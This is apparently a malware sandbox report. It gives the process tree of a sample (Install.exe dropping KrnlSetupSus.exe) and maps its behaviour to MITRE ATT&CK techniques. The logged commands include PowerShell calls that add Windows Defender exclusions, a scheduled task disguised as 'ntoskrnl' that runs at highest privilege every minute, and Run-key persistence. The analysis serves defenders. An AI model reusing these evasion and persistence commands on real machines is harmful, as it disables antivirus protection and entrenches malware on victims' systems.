C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2552

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2680

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3412
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\ProgramData\Install.exe
    "C:\ProgramData\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3260
- - C:\ProgramData\KrnlSetupSus.exe
    "C:\ProgramData\KrnlSetupSus.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:224
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KrnlSetupSus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1264
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\ntoskrnl.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3408
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ntoskrnl.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4428
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4340
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4428 -s 368
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3624
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ntoskrnl" /tr "C:\ProgramData\ntoskrnl.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2596
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1960
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /delete /f /tn "ntoskrnl"
      4⤵
      PID:4668
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF52D.tmp.bat""
      4⤵
      PID:2648
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2744
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:3312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3724

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3888

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4456

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3120

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4216

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4716

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3868

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:3420

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1176

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 93a6e12ecb4ffb43dc21ed708ca9839c jNOCck6ftUqrVbTwZDduXg.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1560
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4464

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4408

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3908

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4428

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery